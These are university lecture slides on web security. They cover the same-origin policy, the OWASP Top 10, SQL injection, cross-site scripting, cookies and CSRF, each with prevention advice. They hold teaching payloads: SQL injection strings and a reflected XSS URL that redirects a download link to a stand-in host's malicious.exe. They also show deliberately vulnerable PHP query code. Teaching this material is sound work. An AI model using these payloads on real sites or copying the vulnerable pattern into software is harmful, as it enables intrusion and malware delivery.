


Web Security

51.502 Systems Security
Paweł Szałachowski

Web


- Platform for deploying applications and sharing resources
 - Portable
 - Secure ?
- Uniform Resource Locator (URL)




- The Hypertext Transfer Protocol (HTTP)

HTTP flow

Request



Response




Webpage


- Hypertext Markup Language (HTML)
 - Language to create webpages
 - Structured documents, objects, images, forms, ...
- Cascading Style Sheets (CSS)
 - Used for describing presentation of webpages
- JavaScript (JS)
 - Programming language
 - Primarily used to manipulate webpages

Webpage Rendering

- Parsers
 - HTML and CSS
- JS engine
 - Executes JS code
- Document Object Model (DOM)
 - Interface for representing and interacting with objects (HTML, XML, ...)
- Painter



Webpage Rendering



Security

- Another system designed w/o security in mind
- Became very complex
 - Distributed (resources from other websites)
 - Many applications and services moved to web
 - Dynamic content, Audio, Video, I/O, ...
- Malicious websites should not be able to
 - modify not-related information of the computer or other websites
 - steal confidential information from the computer or other websites
 - spy on the computer activities or other websites

Same-origin Policy

- Isolation mechanism
 - Scripts from one webpage can access data of another webpage only if both webpages have the same **origin**
- Origin is defined as triple: (protocol, hostname, port)
- Origin is defined basing on the loaded URL
 - JS loads within the origin of the webpage that loaded it
- Cross-origin communication (CORS, postMessage(), ...)

Example

- Check against <http://www.example.com/dir/page.html>

Compared URL	Outcome	Reason
http://www.example.com /dir/page2.html		
http://www.example.com /dir2/other.html		
http://username:password@www.example.com /dir2/other.html		
http://www.example.com: 81 /dir/other.html		
https ://www.example.com/dir/other.html		
http:// en.example.com /dir/other.html		
http:// example.com /dir/other.html		
http:// v2.www.example.com /dir/other.html		
http://www.example.com: 80 /dir/other.html		

Example

- Check against <http://www.example.com/dir/page.html>

Compared URL	Outcome	Reason
http://www.example.com /dir/page2.html	Success	Same protocol, host and port
http://www.example.com /dir2/other.html	Success	Same protocol, host and port
http://username:password@www.example.com /dir2/other.html	Success	Same protocol, host and port
http://www.example.com: 81 /dir/other.html	Failure	Same protocol and host but different port
https ://www.example.com/dir/other.html	Failure	Different protocol
http:// en .example.com/dir/other.html	Failure	Different host
http:// example .com/dir/other.html	Failure	Different host (exact match required)
http:// v2 .www.example.com/dir/other.html	Failure	Different host (exact match required)
http://www.example.com: 80 /dir/other.html	Depends	Port explicit. Depends on implementation in browser.

Server-side Attacks

OWASP Top 10 - 2013		→	OWASP Top 10 - 2017	
A1 – Injection	→		A1:2017-Injection	
A2 – Broken Authentication and Session Management	→		A2:2017-Broken Authentication	
A3 – Cross-Site Scripting (XSS)	↘		A3:2017-Sensitive Data Exposure	
A4 – Insecure Direct Object References [Merged+A7]	U		A4:2017-XML External Entities (XXE) [NEW]	
A5 – Security Misconfiguration	↘		A5:2017-Broken Access Control [Merged]	
A6 – Sensitive Data Exposure	↗		A6:2017-Security Misconfiguration	
A7 – Missing Function Level Access Contr [Merged+A4]	U		A7:2017-Cross-Site Scripting (XSS)	
A8 – Cross-Site Request Forgery (CSRF)	⊗		A8:2017-Insecure Deserialization [NEW, Community]	
A9 – Using Components with Known Vulnerabilities	→		A9:2017-Using Components with Known Vulnerabilities	
A10 – Unvalidated Redirects and Forwards	⊗		A10:2017-Insufficient Logging&Monitoring [NEW,Comm.]	

Code Injection Attacks

- Execute malicious user's input that is not sanitized properly
 - Always whitelist (not blacklist)
 - Never trust client-side validation
- Not only web
 - `system()`, `eval()`, ...
- Lack of or wrong separation (user and execution contexts)
 - Similar to buffer overflows ?

SQL Injection

- Web Services
 - Browser, Web Server, Database
 - Depending on browser's input, the server prepares a query and queries the database, and returns results to the browser
 - The database can be also modified
- Database (collection of data)
 - Structured in tables

ID (Integer)	Name (String)	Address (String)
102	Yonezawa Akinori	Naha, Okinawa
202	Murata Makoto	Sendai, Miyagi
104	Sakamura Ken	Kumamoto, Kumamoto
152	Matsumoto Yukihiro	Okinawa, Okinawa

SQL Injection

- SQL commands
 - `SELECT column FROM table WHERE condition`
 - `INSERT INTO table VALUES (v1, v2, v3, ...)`
 - `DROP TABLE table`
 - ...
- Commands can be separated by semicolon
- “--” begins a comment

Example

- Server-side code

```
$student_name = $_GET['student_name']  
$sql = "SELECT StudID FROM Student  
      WHERE name='$student_name' ";  
$ret = $db->executeQuery($sql)
```

- What is executed for “?student_name=Alice”?
 - \$student_name is used directly in SQL query
- What if \$student_name = Alice'; SELECT * FROM Student;

Other examples

- `SELECT * FROM Users WHERE user='$user' AND pwd='$pwd'`
 - `$user = "` or 1=1 --"`
 - Everything after `--` (two dashes) is ignored
- Speed camera system
 - Photo
 - OCR
 - Database query





SQL Injection Prevention

- Do not build raw queries
 - Use secure tools and frameworks
 - Consider using abstractions
- Always validate user input on server-side
 - Reject special character
 - Escape input string, e.g., ' -> \'
 - Site-specific input (e.g., an integer or email)

Cross-Site Scripting (XSS)

JavaScript

- Widely used
 - De facto a standard programming language for web
- Development, increasing performance, libraries, ...
- Scripts (executed by browsers)
 - Can alter webpage content (DOM)
 - Track I/O events (mouse and keyboard)
 - Send/receive web requests/replies
- Same-origin policy separates code at different origins

XSS


- Webpages are not read-only and are not static
 - Users can create content (articles, comments, entries, ...)
 - JavaScript can be used to express webpages
- Idea: adversary can inject a malicious code into webpage viewed by a victim user
 - The code can access the user's page data
 - Does the same-origin policy prevent that?

Stored XSS

- Adversary injects a malicious code at a server
- Then the server presents the stored code to next visitors
 - Code runs in the same origin (it is served by the server)
- Example



Example




Reflected XSS

- The adversary causes the user to visit a URL for a website
 - The URL contains a malicious JS code
- The user clicks on the link and executes the code
 - Code is executed within the website's origin


Example

- Website: “Welcome \$GET[‘user’]” + download link



- What about the following link?

```
http://example.com/index.php?user=<script>window.onload = function() {var  
AllLinks=document.getElementsByTagName( "a" );  
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>
```



XSS Prevention

- Input validation (again)
 - Whitelisting
 - Tags: <html>, <div>, <script>
 - Special characters: <, >, &, “, ‘, ...
 - Escape data before putting it into HTML
 - Secure tools & frameworks
- Content-security policy (CSP)
 - Web operator specifies scripts (domains) that are allowed to be executed on its pages
 - Inline scripts can be disallowed


HTTP Sessions

HTTP Sessions

- HTTP is stateless
 - No built-in notion of session
 - Requests & responses
 - How to tie them to users?
- Cookies
 - Set/removed by web sites
 - Name-value pairs used to implement sessions
 - Scope

HTTP Authentication

- HTTP auth
 - Not very popular anymore (except .edu.* ;-)
 - Cannot log out, cannot customize dialog,
- Session tokens
 - Stored in **cookies** (see the next slide)
 - URLs: `https://a.com/checkout?SessionID=70b630669481469`
 - Can be leaked (HTTP Referer header)
 - Hidden forms: `<input type="hidden" name="sessionid" value="70b30...">`
 - Short sessions only
 - Can be combined together



Authentication Required
http://sutdcentral.sutd.edu.sg
Your connection to this site is not private

Username

Password

Cancel Log In

Cookies

- Set by server (usually, after successful authentication)
 - Scope (when to send)
 - Domain: any domain suffix (except TLD)
 - Path
 - Expiration (when expires)
 - Secure flag (send only via TLS)
 - HttpOnly (JS cannot access)
- Client saves the cookie and sends with every request




Cross-Site Request Forgery (CSRF)

CSRF

- Sessions implemented via cookies
- User log-ins to a benign website and visits a malicious one
 - The malicious website contains e.g., a form that is submitted automatically to a benign website
- The browser submits this form together with its cookie
 - The form will be accepted as authentication is ok

CSRF Example



CSRF Prevention

- Secret Validation Tokens
 - `<input type=hidden value=random>`
 - *random* value is set and checked by the server
 - *random* can be cryptographically generated for a session
- Referer header validation
 - Referer header tells which URL initiated the request
- Custom HTTP Headers
 - Different headers to browser-initiated and site-initiated requests

Reading

- [GT] Chapter 7

Questions ?